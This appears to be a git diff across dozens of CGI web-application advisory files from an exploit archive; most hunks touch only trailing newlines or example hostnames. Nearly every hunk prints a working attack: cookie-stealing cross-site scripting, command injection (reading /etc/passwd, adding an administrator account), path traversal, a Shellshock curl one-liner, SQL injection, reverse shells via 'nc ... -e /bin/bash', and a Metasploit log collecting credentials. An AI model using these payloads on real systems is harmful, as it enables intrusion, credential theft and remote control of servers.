WebID 5.3 is vulnerable; other versions may also be affected. -https://www.example.com/WebID/IISWebAgentIF.dll?stage=useridandpasscode&referrer=Z2F&sessionid=0&authntype=2&username=a&passcode=a&postdata=aaa"%20><SCRIPT>alert(document.cookie)</script><!-- \ No newline at end of file +https://www.example.com/WebID/IISWebAgentIF.dll?stage=useridandpasscode&referrer=Z2F&sessionid=0&authntype=2&username=a&passcode=a&postdata=aaa"%20><SCRIPT>alert(document.cookie)</script><!-- \ No newline at end of file diff --git a/platforms/cgi/webapps/31466.txt b/platforms/cgi/webapps/31466.txt index 43e583402..66c32ceed 100755 --- a/platforms/cgi/webapps/31466.txt +++ b/platforms/cgi/webapps/31466.txt @@ -8,4 +8,4 @@ These issues affect Webutil 2.3 and 2.7. http://www.example.com/cgi-bin/webutil.pl?details&|cat$IFS/etc/passwd http://www.example.com/cgi-bin/webutil.pl?dig&|cat$IFS/etc/passwd -http://www.example.com/cgi-bin/webutil.pl?whois&|cat$IFS/etc/passwd \ No newline at end of file +http://www.example.com/cgi-bin/webutil.pl?whois&|cat$IFS/etc/passwd \ No newline at end of file diff --git a/platforms/cgi/webapps/31755.txt b/platforms/cgi/webapps/31755.txt index f9b29c3f4..85e278221 100755 --- a/platforms/cgi/webapps/31755.txt +++ b/platforms/cgi/webapps/31755.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br These issues affect ITS 6200.1017.50954.0, Build 730827 (win32/IIS 5.0). -http://www.example.com/scripts/wgate/%22);alert('xss');alert(%22a/! \ No newline at end of file +http://www.example.com/scripts/wgate/%22);alert('xss');alert(%22a/! \ No newline at end of file diff --git a/platforms/cgi/webapps/32258.txt b/platforms/cgi/webapps/32258.txt index ca80c7e3e..57b84711f 100755 --- a/platforms/cgi/webapps/32258.txt +++ b/platforms/cgi/webapps/32258.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow AWStats 6.8 is vulnerable; other versions may also be affected. -http://www.example.com/awstats/awstats.pl?config=www.example.com&%22onload=%22alert(document.domain)// \ No newline at end of file +http://www.example.com/awstats/awstats.pl?config=www.example.com&%22onload=%22alert(document.domain)// \ No newline at end of file diff --git a/platforms/cgi/webapps/32430.txt b/platforms/cgi/webapps/32430.txt index 4111724fc..4e01b033d 100755 --- a/platforms/cgi/webapps/32430.txt +++ b/platforms/cgi/webapps/32430.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow WhoDomLite 1.1.3 is vulnerable; other versions may also be affected. -http://www.example.com/wholite.cgi?dom= xss_code &tld=com&action=search \ No newline at end of file +http://www.example.com/wholite.cgi?dom= xss_code &tld=com&action=search \ No newline at end of file diff --git a/platforms/cgi/webapps/32734.txt b/platforms/cgi/webapps/32734.txt index f88e4af80..d1358da16 100755 --- a/platforms/cgi/webapps/32734.txt +++ b/platforms/cgi/webapps/32734.txt @@ -8,4 +8,4 @@ The attacker may leverage the cross-site scripting issue to execute arbitrary sc Versions prior to LemonLDAP::NG 0.9.3.2 are vulnerable. -http://www.example.com/index.pl?url=";><script>alert("You were hacked!")</script><br" \ No newline at end of file +http://www.example.com/index.pl?url=";><script>alert("You were hacked!")</script><br" \ No newline at end of file diff --git a/platforms/cgi/webapps/32746.txt b/platforms/cgi/webapps/32746.txt index b8a1a2b3e..b51dc4532 100755 --- a/platforms/cgi/webapps/32746.txt +++ b/platforms/cgi/webapps/32746.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Versions prior to MoinMoin 1.8.1 are vulnerable. -http://www.example.com/moinmoin/WikiSandBox?rename="><script>alert('rename xss')</script>&action=AttachFile&drawing="><script>alert('drawing xss')</script> \ No newline at end of file +http://www.example.com/moinmoin/WikiSandBox?rename="><script>alert('rename xss')</script>&action=AttachFile&drawing="><script>alert('drawing xss')</script> \ No newline at end of file diff --git a/platforms/cgi/webapps/32870.txt b/platforms/cgi/webapps/32870.txt index eb1017e47..a89cf7145 100755 --- a/platforms/cgi/webapps/32870.txt +++ b/platforms/cgi/webapps/32870.txt @@ -9,4 +9,4 @@ The following are vulnerable: AWStats 6.5 (build 1.857) and prior WebGUI Runtime Environment 0.8.x and prior -http://www.example.com/awstats/awstats.pl?config=HACKdestailleur.fr \ No newline at end of file +http://www.example.com/awstats/awstats.pl?config=HACKdestailleur.fr \ No newline at end of file diff --git a/platforms/cgi/webapps/32907.txt b/platforms/cgi/webapps/32907.txt index dd5b8214f..5e3b0660f 100755 --- a/platforms/cgi/webapps/32907.txt +++ b/platforms/cgi/webapps/32907.txt @@ -8,4 +8,4 @@ DAAP Extension for Banshee 1.4.2 is vulnerable; other versions may also be affec The following example URI is available: -http://www.example.com:8089/[xss-here] \ No newline at end of file +http://www.example.com:8089/[xss-here] \ No newline at end of file diff --git a/platforms/cgi/webapps/33958.txt b/platforms/cgi/webapps/33958.txt index a4cd8b303..7d937473c 100755 --- a/platforms/cgi/webapps/33958.txt +++ b/platforms/cgi/webapps/33958.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc Publique! 2.3 is vulnerable; other versions may also be affected. -http://www.example.com/publique/cgi/cgilua.exe/sys/start.htm?sid=1 \ No newline at end of file +http://www.example.com/publique/cgi/cgilua.exe/sys/start.htm?sid=1 \ No newline at end of file diff --git a/platforms/cgi/webapps/34223.txt b/platforms/cgi/webapps/34223.txt index 73e94acb4..f32317e87 100755 --- a/platforms/cgi/webapps/34223.txt +++ b/platforms/cgi/webapps/34223.txt @@ -6,4 +6,4 @@ Successful attacks can compromise the affected application and possibly the unde Miyabi CGI Tools 1.02 is vulnerable; other versions may also be affected. -http://www.example.com/index.pl?mode=html&fn=|uname%20-a| \ No newline at end of file +http://www.example.com/index.pl?mode=html&fn=|uname%20-a| \ No newline at end of file diff --git a/platforms/cgi/webapps/34347.txt b/platforms/cgi/webapps/34347.txt index e1d35d535..9293c3e38 100755 --- a/platforms/cgi/webapps/34347.txt +++ b/platforms/cgi/webapps/34347.txt @@ -6,4 +6,4 @@ Successful attacks can compromise the affected software and the underlying serve iOffice 0.1 is affected; other versions may also be vulnerable. -http://www.example.com/cgi-bin/index.pl?section_name=whatever&section=ioffice&parametre=|id| \ No newline at end of file +http://www.example.com/cgi-bin/index.pl?section_name=whatever&section=ioffice&parametre=|id| \ No newline at end of file diff --git a/platforms/cgi/webapps/34794.txt b/platforms/cgi/webapps/34794.txt index 82e33dbe4..44382b83e 100755 --- a/platforms/cgi/webapps/34794.txt +++ b/platforms/cgi/webapps/34794.txt @@ -8,4 +8,4 @@ Netbiter webSCADA WS100 and Netbiter webSCADA WS200 are vulnerable; other versio http://www.example.com/cgi-bin/read.cgi?page=../../../../../../../../../../../etc/passwd%00 http://www.example.com/gi-bin/read.cgi?file=/home/config/users.cfg -http://www.example.com/cgi-bin/read.cgi?page=config.html&file=/home/config/pages/2.conf&section=PAGE2 \ No newline at end of file +http://www.example.com/cgi-bin/read.cgi?page=config.html&file=/home/config/pages/2.conf&section=PAGE2 \ No newline at end of file diff --git a/platforms/cgi/webapps/34994.txt b/platforms/cgi/webapps/34994.txt index 901dfc672..f997ee551 100755 --- a/platforms/cgi/webapps/34994.txt +++ b/platforms/cgi/webapps/34994.txt @@ -10,4 +10,4 @@ The following example URIs are available: http://www.example.com/cgi-bin/luci/;stok=d/admin/network/network/"/><script>alert(1);</script> -http://www.example.com/cgi-bin/luci/;stok=d/admin/system/packages?query=%22%2F%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E&submit=OK \ No newline at end of file +http://www.example.com/cgi-bin/luci/;stok=d/admin/system/packages?query=%22%2F%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E&submit=OK \ No newline at end of file diff --git a/platforms/cgi/webapps/35008.txt b/platforms/cgi/webapps/35008.txt index 860e8cf51..6d04b39d3 100755 --- a/platforms/cgi/webapps/35008.txt +++ b/platforms/cgi/webapps/35008.txt @@ -6,4 +6,4 @@ Exploiting this issue could allow an attacker to compromise the application, acc Hot Links SQL 3.2.0 is vulnerable; other versions may also be affected. -http://www.example.com/report.cgi?id=999; or 'a'='a \ No newline at end of file +http://www.example.com/report.cgi?id=999; or 'a'='a \ No newline at end of file diff --git a/platforms/cgi/webapps/35035.txt b/platforms/cgi/webapps/35035.txt index 0606ad9c2..e243b9bb0 100755 --- a/platforms/cgi/webapps/35035.txt +++ b/platforms/cgi/webapps/35035.txt @@ -10,4 +10,4 @@ Attacking Windows XP Apache Tomcat AWStats Server: http://www.example.com/cgi-bin/awstats.cgi?config=attacker&pluginmode=rawlog&configdir=\\Attacker-IPAddress:80\webdav Attacking Windows 2003 or Windows XP AWStats Server: -http://www.example.com/cgi-bin/awstats.cgi?config=attacker&pluginmode=rawlog&configdir=\\Attacker-IPAddress\SMB-Share \ No newline at end of file +http://www.example.com/cgi-bin/awstats.cgi?config=attacker&pluginmode=rawlog&configdir=\\Attacker-IPAddress\SMB-Share \ No newline at end of file diff --git a/platforms/cgi/webapps/35093.txt b/platforms/cgi/webapps/35093.txt index ff4ae1ac1..707ae84ef 100755 --- a/platforms/cgi/webapps/35093.txt +++ b/platforms/cgi/webapps/35093.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow BizDir v.05.10 is vulnerable; other versions may also be affected. -http://www.example.com/cgi-bin/bizdir/bizdir.cgi?f_mode=srch& f_srch=<XSS inj>&f_srch_mode=SOME&f_start_at=1 \ No newline at end of file +http://www.example.com/cgi-bin/bizdir/bizdir.cgi?f_mode=srch& f_srch=<XSS inj>&f_srch_mode=SOME&f_start_at=1 \ No newline at end of file diff --git a/platforms/cgi/webapps/35802.txt b/platforms/cgi/webapps/35802.txt index 3de946be0..c42254d84 100755 --- a/platforms/cgi/webapps/35802.txt +++ b/platforms/cgi/webapps/35802.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Blackboard Learn 8.0 is vulnerable; other versions may also be affected. -http://www.example.com/bin/common/search.pl?action=RESULTS&amp;context=USERDIR&amp;type=SEARCH&amp;operation=VIEW&amp;keyword=abcd&amp;keywordraw=%22abcd%22/%3E%3Cscript+src%3Dhttp://www.example2.com/js/alert.js%3E%3C/script%3E%3Ca+href%3D%22test%22%3Ewhat%3C/a&amp;x=26&amp;y=15&amp;by=user_id \ No newline at end of file +http://www.example.com/bin/common/search.pl?action=RESULTS&amp;context=USERDIR&amp;type=SEARCH&amp;operation=VIEW&amp;keyword=abcd&amp;keywordraw=%22abcd%22/%3E%3Cscript+src%3Dhttp://www.example2.com/js/alert.js%3E%3C/script%3E%3Ca+href%3D%22test%22%3Ewhat%3C/a&amp;x=26&amp;y=15&amp;by=user_id \ No newline at end of file diff --git a/platforms/cgi/webapps/36458.txt b/platforms/cgi/webapps/36458.txt index 35259b0d7..6e89a44b4 100755 --- a/platforms/cgi/webapps/36458.txt +++ b/platforms/cgi/webapps/36458.txt @@ -4,4 +4,4 @@ Websense Triton is prone to a remote command-execution vulnerability. An attacker can exploit this issue to execute arbitrary commands with SYSTEM-level privileges. Successfully exploiting this issue will result in the complete compromise of affected computers. -https://www.example.com/explorer_wse/ws_irpt.exe?&SendFile=echo.pdf%26net user administrator blah| \ No newline at end of file +https://www.example.com/explorer_wse/ws_irpt.exe?&SendFile=echo.pdf%26net user administrator blah| \ No newline at end of file diff --git a/platforms/cgi/webapps/36459.txt b/platforms/cgi/webapps/36459.txt index ca2a6af6b..1df906fc2 100755 --- a/platforms/cgi/webapps/36459.txt +++ b/platforms/cgi/webapps/36459.txt @@ -11,4 +11,4 @@ Websense Web Security Gateway 7.6 Websense Web Security 7.6 Websense Web Filter 7.6 -https://www.example.com/explorer_wse/favorites.exe?startDate=2011-10-22&endDate=2011-10-23&action=def \ No newline at end of file +https://www.example.com/explorer_wse/favorites.exe?startDate=2011-10-22&endDate=2011-10-23&action=def \ No newline at end of file diff --git a/platforms/cgi/webapps/36772.txt b/platforms/cgi/webapps/36772.txt index 3f15c380b..71045e21e 100755 --- a/platforms/cgi/webapps/36772.txt +++ b/platforms/cgi/webapps/36772.txt @@ -4,4 +4,4 @@ EditWrxLite CMS is prone to a remote command-execution vulnerability. Attackers can exploit this issue to execute arbitrary commands with the privileges of the affected application. -http://www.example.com/editwrx/wrx.cgi?download=;uname%20-a| \ No newline at end of file +http://www.example.com/editwrx/wrx.cgi?download=;uname%20-a| \ No newline at end of file diff --git a/platforms/cgi/webapps/36940.txt b/platforms/cgi/webapps/36940.txt index 73cf71833..1e380549f 100755 --- a/platforms/cgi/webapps/36940.txt +++ b/platforms/cgi/webapps/36940.txt @@ -61,4 +61,4 @@ msf auxiliary(http_basic) > [*] Local IP: http://www.malicious-host.tld:80/ [*] Server started. [*] vulnerable.vpn-installation.tld http_basic - Sending 401 to client vulnerable.vpn-installation.tld -[+] vulnerable.vpn-installation.tld http_basic - vulnerable.vpn-installation.tld - Credential collected: "user:password" \ No newline at end of file +[+] vulnerable.vpn-installation.tld http_basic - vulnerable.vpn-installation.tld - Credential collected: "user:password" \ No newline at end of file diff --git a/platforms/cgi/webapps/36974.txt b/platforms/cgi/webapps/36974.txt index 6a0caa6a6..952517405 100755 --- a/platforms/cgi/webapps/36974.txt +++ b/platforms/cgi/webapps/36974.txt @@ -6,4 +6,4 @@ Attackers can exploit this issue to execute arbitrary commands in the context of WebGlimpse versions prior to 20.20.0 are affected. -query=%27%26command+and+arguments+go+here%26%27 \ No newline at end of file +query=%27%26command+and+arguments+go+here%26%27 \ No newline at end of file diff --git a/platforms/cgi/webapps/36976.txt b/platforms/cgi/webapps/36976.txt index 7bfc8f5d5..328a507b9 100755 --- a/platforms/cgi/webapps/36976.txt +++ b/platforms/cgi/webapps/36976.txt @@ -6,4 +6,4 @@ Exploiting this issue can allow an attacker to access sensitive data that may be WebGlimpse 2.18.7 is vulnerable; other versions may also be affected. -http://www.example.com/wgarcmin.cgi?NEXTPAGE=D&ID=1&DOC=1 \ No newline at end of file +http://www.example.com/wgarcmin.cgi?NEXTPAGE=D&ID=1&DOC=1 \ No newline at end of file diff --git a/platforms/cgi/webapps/36994.txt b/platforms/cgi/webapps/36994.txt index caf33f977..b18c882b3 100755 --- a/platforms/cgi/webapps/36994.txt +++ b/platforms/cgi/webapps/36994.txt @@ -8,4 +8,4 @@ Exploiting this issue may allow an attacker to obtain sensitive information that WebGlimpse 2.18.7 is vulnerable; other versions may also be affected. -http://www.example.com/wgarcmin.cgi?NEXTPAGE=D&ID=1&DOC=../../../../etc/passwd \ No newline at end of file +http://www.example.com/wgarcmin.cgi?NEXTPAGE=D&ID=1&DOC=../../../../etc/passwd \ No newline at end of file diff --git a/platforms/cgi/webapps/37084.txt b/platforms/cgi/webapps/37084.txt index 9d532ae65..4e84b56ea 100755 --- a/platforms/cgi/webapps/37084.txt +++ b/platforms/cgi/webapps/37084.txt @@ -4,4 +4,4 @@ Munin is prone to a remote command-injection vulnerability. Attackers can exploit this issue to inject and execute arbitrary commands in the context of the application. -printf 'GET /cgi-bin/munin-cgi-graph/%%0afoo%%0a/x/x-x.png HTTP/1.0\r\nHost: localhost\r\nConnection: close\r\n\r\n' | nc localhost 80 \ No newline at end of file +printf 'GET /cgi-bin/munin-cgi-graph/%%0afoo%%0a/x/x-x.png HTTP/1.0\r\nHost: localhost\r\nConnection: close\r\n\r\n' | nc localhost 80 \ No newline at end of file diff --git a/platforms/cgi/webapps/37638.txt b/platforms/cgi/webapps/37638.txt index d2f3f3b23..603219f31 100755 --- a/platforms/cgi/webapps/37638.txt +++ b/platforms/cgi/webapps/37638.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow LISTSERV 16 is vulnerable; other versions may also be affected. -http://www.example.com/SCRIPTS/WA.EXE?SHOWTPL=<script>alert(document.cookie)</script> \ No newline at end of file +http://www.example.com/SCRIPTS/WA.EXE?SHOWTPL=<script>alert(document.cookie)</script> \ No newline at end of file diff --git a/platforms/cgi/webapps/37806.txt b/platforms/cgi/webapps/37806.txt index a8b80494a..9789e7d35 100755 --- a/platforms/cgi/webapps/37806.txt +++ b/platforms/cgi/webapps/37806.txt @@ -14,4 +14,4 @@ https://www.example.com/asterisk/contacts.cgi?usr=demo-100&type=1&type_selector= https://www.example.com/asterisk/contact_chooser.cgi?contact=%22%3E%3Ciframe%20src=a%20onload=alert%28%22HI%22%29%20%3C -https://www.example.com/asterisk/contacts.cgi?type=2&usr=demo-100&managed_usr=%22%3E%3Ciframe%20src=a%20onload=alert%28%22HI%22%29%20%3C&type_selector=2&lastname=&lastname_match=1&firstname=&firstname_match=1&department=&department_match=1&action=Select+ \ No newline at end of file +https://www.example.com/asterisk/contacts.cgi?type=2&usr=demo-100&managed_usr=%22%3E%3Ciframe%20src=a%20onload=alert%28%22HI%22%29%20%3C&type_selector=2&lastname=&lastname_match=1&firstname=&firstname_match=1&department=&department_match=1&action=Select+ \ No newline at end of file diff --git a/platforms/cgi/webapps/37830.txt b/platforms/cgi/webapps/37830.txt index 6418980d1..80ad0caf4 100755 --- a/platforms/cgi/webapps/37830.txt +++ b/platforms/cgi/webapps/37830.txt @@ -14,4 +14,4 @@ http://www.example.com/index.cgi?id=2-2&filelog=%26nc+192.168.1.1+4444+-e+/bin/b http://www.example.com/index.cgi?id=2-2&filelog=#&nlines=1%26nc+192.168.1.1+4444+-e+/bin/bash;&action=See+logs http://www.example.com/index.cgi?id=3-2&if=lo%26nc+192.168.1.1+4444+-e+/bin/bash%26&status=up&newip=0.0.0.0&netmask=255.255.255.0&gwaddr=&action=Save+%26+Up! http://www.example.com/config/global.conf -http://www.example.com/backup/ \ No newline at end of file +http://www.example.com/backup/ \ No newline at end of file diff --git a/platforms/cgi/webapps/38550.txt b/platforms/cgi/webapps/38550.txt index 73958939f..7be31360a 100755 --- a/platforms/cgi/webapps/38550.txt +++ b/platforms/cgi/webapps/38550.txt @@ -9,4 +9,4 @@ The following are vulnerable: QNAP VioStor NVR running firmware 4.0.3. QNAP NAS -http://www.example.com/cgi-bin/pingping.cgi?ping_ip=1;whoami \ No newline at end of file +http://www.example.com/cgi-bin/pingping.cgi?ping_ip=1;whoami \ No newline at end of file diff --git a/platforms/cgi/webapps/38593.txt b/platforms/cgi/webapps/38593.txt index e499792c8..f01e58f09 100755 --- a/platforms/cgi/webapps/38593.txt +++ b/platforms/cgi/webapps/38593.txt @@ -6,4 +6,4 @@ Successful exploits will allow attacker-supplied HTML and script code to run in FtpLocate 2.02 is vulnerable; other versions may also be affected. -http://www.example.com/cgi-bin/ftplocate/flsearch.pl?query=FTP&fsite=<script>alert('xss')</script> \ No newline at end of file +http://www.example.com/cgi-bin/ftplocate/flsearch.pl?query=FTP&fsite=<script>alert('xss')</script> \ No newline at end of file diff --git a/platforms/cgi/webapps/38691.txt b/platforms/cgi/webapps/38691.txt index 073912140..757987b39 100755 --- a/platforms/cgi/webapps/38691.txt +++ b/platforms/cgi/webapps/38691.txt @@ -10,4 +10,4 @@ http://www.example.com/kwok/IT/hardware-list.dll?cmd=search&hardwareType=49[Inje http://www.example.com/kwok/IT/hardware-list.dll?cmd=search&hardwareStatus=0[Inject Payload Here] -http://www.example.com/kwok/IT/hardware-list.dll?cmd=search&hardwareLocation=0[Inject Payload Here] \ No newline at end of file +http://www.example.com/kwok/IT/hardware-list.dll?cmd=search&hardwareLocation=0[Inject Payload Here] \ No newline at end of file diff --git a/platforms/cgi/webapps/38806.txt b/platforms/cgi/webapps/38806.txt index e389ae38f..44d377a58 100755 --- a/platforms/cgi/webapps/38806.txt +++ b/platforms/cgi/webapps/38806.txt @@ -8,4 +8,4 @@ Bugzilla versions 2.17.1 through 4.0.10, 4.1.1 through 4.2.6 and 4.3.1 through 4 http://www.example.com/bugzilla/editflagtypes.cgi?action=insert&can_fully_edit=1&id="><script>alert(1)</script>&token=&target_type=bug&check_clusions=1&name=test1&description=test2&product=TestProduct&component=TestComponent&categoryAction-include=Include&sortkey=1&is_active=on&is_requestable=on&cc_list=&is_requesteeble=on&is_multiplicable=on&grant_group=&request_group= -http://www.example.com/bugzilla/editflagtypes.cgi?action=insert&can_fully_edit=1&id=&token=&target_type=bug&check_clusions=1&name=test&description=test2&product=TestProduct&component=TestComponent&categoryAction-include=Include&sortkey=1"><script>alert(2)</script>&is_active=on&is_requestable=on&cc_list=&is_requesteeble=on&is_multiplicable=on&grant_group=&request_group= \ No newline at end of file +http://www.example.com/bugzilla/editflagtypes.cgi?action=insert&can_fully_edit=1&id=&token=&target_type=bug&check_clusions=1&name=test&description=test2&product=TestProduct&component=TestComponent&categoryAction-include=Include&sortkey=1"><script>alert(2)</script>&is_active=on&is_requestable=on&cc_list=&is_requesteeble=on&is_multiplicable=on&grant_group=&request_group= \ No newline at end of file diff --git a/platforms/cgi/webapps/38807.txt b/platforms/cgi/webapps/38807.txt index a45d3a8e5..d9aa46dff 100755 --- a/platforms/cgi/webapps/38807.txt +++ b/platforms/cgi/webapps/38807.txt @@ -8,4 +8,4 @@ Bugzilla versions 4.1.1 through 4.2.6, and 4.3.1 through 4.4 are vulnerable. Note: This issue exists due to an incomplete fix for CVE-2012-4189 (identified in BID 56504 - Bugzilla Multiple Cross Site Scripting and Information Disclosure Vulnerabilities). -https://www.example.com/bugzilla-tip/report.cgi?x_axis_field=short_desc&y_axis_field=short_desc&z_axis_field=short_desc&no_redirect=1&query_format=report-table&short_desc_type=allwordssubstr&short_desc=&resolution=---&longdesc_type=allwordssubstr&longdesc=&bug_file_loc_type=allwordssubstr&bug_file_loc=&status_whiteboard_type=allwordssubstr&status_whiteboard=&keywords_type=allwords&keywords=&deadlinefrom=&deadlineto=&bug_id=22386%2C22387&bug_id_type=anyexact&emailassigned_to1=1&emailtype1=substring&email1=&emailassigned_to2=1&emailreporter2=1&emailqa_contact2=1&emailcc2=1&emailtype2=substring&email2=&emaillongdesc3=1&emailtype3=substring&email3=&chfieldvalue=&chfieldfrom=&chfieldto=Now&j_top=AND&f1=noop&o1=noop&v1=&format=table&action=wrap \ No newline at end of file +https://www.example.com/bugzilla-tip/report.cgi?x_axis_field=short_desc&y_axis_field=short_desc&z_axis_field=short_desc&no_redirect=1&query_format=report-table&short_desc_type=allwordssubstr&short_desc=&resolution=---&longdesc_type=allwordssubstr&longdesc=&bug_file_loc_type=allwordssubstr&bug_file_loc=&status_whiteboard_type=allwordssubstr&status_whiteboard=&keywords_type=allwords&keywords=&deadlinefrom=&deadlineto=&bug_id=22386%2C22387&bug_id_type=anyexact&emailassigned_to1=1&emailtype1=substring&email1=&emailassigned_to2=1&emailreporter2=1&emailqa_contact2=1&emailcc2=1&emailtype2=substring&email2=&emaillongdesc3=1&emailtype3=substring&email3=&chfieldvalue=&chfieldfrom=&chfieldto=Now&j_top=AND&f1=noop&o1=noop&v1=&format=table&action=wrap \ No newline at end of file diff --git a/platforms/cgi/webapps/38882.txt b/platforms/cgi/webapps/38882.txt index 3c49f15cb..fbaeb0c2d 100755 --- a/platforms/cgi/webapps/38882.txt +++ b/platforms/cgi/webapps/38882.txt @@ -4,4 +4,4 @@ Icinga is prone to multiple memory-corruption vulnerabilities due to an off-by-o Attackers may exploit these issues to gain access to sensitive information or crash the affected application, denying service to legitimate users. -http://www.example.com/cgi-bin/config.cgi?b=aaaa[..2000 times] \ No newline at end of file +http://www.example.com/cgi-bin/config.cgi?b=aaaa[..2000 times] \ No newline at end of file diff --git a/platforms/cgi/webapps/39127.txt b/platforms/cgi/webapps/39127.txt index 158413180..dd24a2d8f 100755 --- a/platforms/cgi/webapps/39127.txt +++ b/platforms/cgi/webapps/39127.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary commands in the context innoEDIT 6.2 is vulnerable; other versions may also be affected. -http://www.example.com/innoedit/innoedit.cgi?download=;id| \ No newline at end of file +http://www.example.com/innoedit/innoedit.cgi?download=;id| \ No newline at end of file diff --git a/platforms/cgi/webapps/39130.txt b/platforms/cgi/webapps/39130.txt index b83f6b87f..2cffafb00 100755 --- a/platforms/cgi/webapps/39130.txt +++ b/platforms/cgi/webapps/39130.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary commands in the context DotItYourself 6.11.060830 is vulnerable; other versions may also be affected. -http://www.example.com/cade/dot-it-yourself.cgi?download=;id| \ No newline at end of file +http://www.example.com/cade/dot-it-yourself.cgi?download=;id| \ No newline at end of file diff --git a/platforms/cgi/webapps/39131.txt b/platforms/cgi/webapps/39131.txt index c7e0a48a3..2e90a63c9 100755 --- a/platforms/cgi/webapps/39131.txt +++ b/platforms/cgi/webapps/39131.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary commands in the context Beheer Systeem 6.1 is vulnerable; other versions may also be affected. -http://www.example.com/!/pbs.cgi?download=;id| \ No newline at end of file +http://www.example.com/!/pbs.cgi?download=;id| \ No newline at end of file diff --git a/platforms/cgi/webapps/39137.txt b/platforms/cgi/webapps/39137.txt index 673f3fdbb..a7ce061fa 100755 --- a/platforms/cgi/webapps/39137.txt +++ b/platforms/cgi/webapps/39137.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary commands in the context Primo Interactive CMS 6.2 is vulnerable; other versions may also be affected. -http://www.example.com/cgi-bin/pcm.cgi?download=;id| \ No newline at end of file +http://www.example.com/cgi-bin/pcm.cgi?download=;id| \ No newline at end of file diff --git a/platforms/cgi/webapps/39746.txt b/platforms/cgi/webapps/39746.txt index 0e6222eeb..1251a6af6 100755 --- a/platforms/cgi/webapps/39746.txt +++ b/platforms/cgi/webapps/39746.txt @@ -1,4 +1,4 @@ -_ _ _ _ _ _ _ _ _ _ + _ _ _ _ _ _ _ _ _ _ / \ / \ / \ / \ / \ / \ / \ / \ / \ / \ ( 0 | R | W | 3 | L | L | L | 4 | 8 | 5 ) \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ \_/ diff --git a/platforms/cgi/webapps/39887.txt b/platforms/cgi/webapps/39887.txt index 09c2c71fc..89cec2546 100755 --- a/platforms/cgi/webapps/39887.txt +++ b/platforms/cgi/webapps/39887.txt @@ -8,10 +8,10 @@ # Tested on: Linux VULNERABLE FILE -http://server//tarantella/cgi-bin/modules.cgi +http://target.com//tarantella/cgi-bin/modules.cgi POC : -localhost@~#curl -A "() { :; }; echo; /bin/cat /etc/passwd" http://server/tarantella/cgi-bin/modules.cgi > xixixi.txt +localhost@~#curl -A "() { :; }; echo; /bin/cat /etc/passwd" http://target.com/tarantella/cgi-bin/modules.cgi > xixixi.txt localhost@~#cat xixixi.txt which will print out the content of /etc/passwd file. diff --git a/platforms/cgi/webapps/40303.sh b/platforms/cgi/webapps/40303.sh index f46576348..1665cc129 100755 --- a/platforms/cgi/webapps/40303.sh +++ b/platforms/cgi/webapps/40303.sh @@ -43,3 +43,4 @@ if [ $? -ne 0 ]; then exit; fi GET -H "Cookie: frame_rate=8; expansion=10; mode=43; user_id=guest; user_auth_level=43; behind_firewall=0" "http://$1/userconfigsubmit.cgi?adminid=$2&adpasswd=$3&repasswd=$3&user1=guest&userpw1=1337&repasswd1=1337&max_frame_user1=8&authority1=41&user2=&userpw2=&repasswd2=&max_frame_user2=6&authority2=40&user3=&userpw3=&repasswd3=&max_frame_user3=6&authority3=40&user4=&userpw4=&repasswd4=&max_frame_user4=6&authority4=40&user5=&userpw5=&repasswd5=&max_frame_user5=6&authority5=40&submit=submit" 0&> /dev/null <&1 + \ No newline at end of file diff --git a/platforms/cgi/webapps/40304.txt b/platforms/cgi/webapps/40304.txt index 3c996eeb9..d1826af3a 100755 --- a/platforms/cgi/webapps/40304.txt +++ b/platforms/cgi/webapps/40304.txt @@ -32,3 +32,4 @@ path=/ #root:x:0:0:root:/root:/usr/bin/cmd #tw:x:504:504::/home/tw:/bin/bash #tw:x:504:504::/home/tw:/bin/msh + \ No newline at end of file diff --git a/platforms/cgi/webapps/5304.txt b/platforms/cgi/webapps/5304.txt index f34551d2d..20aeeb6f9 100755 --- a/platforms/cgi/webapps/5304.txt +++ b/platforms/cgi/webapps/5304.txt @@ -2,7 +2,7 @@ HIS-Webshop is a shopping-system written in Perl by www.shoppark.de The script doesn´t check the "t"-parameter. Example: -http://server/cgi-bin/his-webshop.pl?t=../../../../../../../../etc/passwd%00 +http://server.com/cgi-bin/his-webshop.pl?t=../../../../../../../../etc/passwd%00 << Greetz Zero X >> diff --git a/platforms/cgi/webapps/6771.txt b/platforms/cgi/webapps/6771.txt index 2e4360ec4..9ecc71663 100755 --- a/platforms/cgi/webapps/6771.txt +++ b/platforms/cgi/webapps/6771.txt @@ -16,13 +16,13 @@ admin access. Exploit: -Before attack: server/calendarWeb/cgi-bin/calweb/calweb.exe +Before attack: target.com/calendarWeb/cgi-bin/calweb/calweb.exe After attack: -server/calendarWeb/cgi-bin/calweb/calweb.exe?cal=default&vt=6&cmd=900&act=0&dd=2008;10;03;12;00;00;&app=0&format=21x05i9r9s|SnriTmOdoaT&lastcmd=0 +target.com/calendarWeb/cgi-bin/calweb/calweb.exe?cal=default&vt=6&cmd=900&act=0&dd=2008;10;03;12;00;00;&app=0&format=21x05i9r9s|SnriTmOdoaT&lastcmd=0 Example: -server/calendarWeb/cgi-bin/calweb/calweb.exe?cal=default&vt=6&cmd=900&act=0&dd=2008;10;03;12;00;00;&app=0&format=21x05i9r9s|SnriTmOdoaT&lastcmd=0 +target.com/calendarWeb/cgi-bin/calweb/calweb.exe?cal=default&vt=6&cmd=900&act=0&dd=2008;10;03;12;00;00;&app=0&format=21x05i9r9s|SnriTmOdoaT&lastcmd=0 !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! how to fix: set time out for login to five minutes ! diff --git 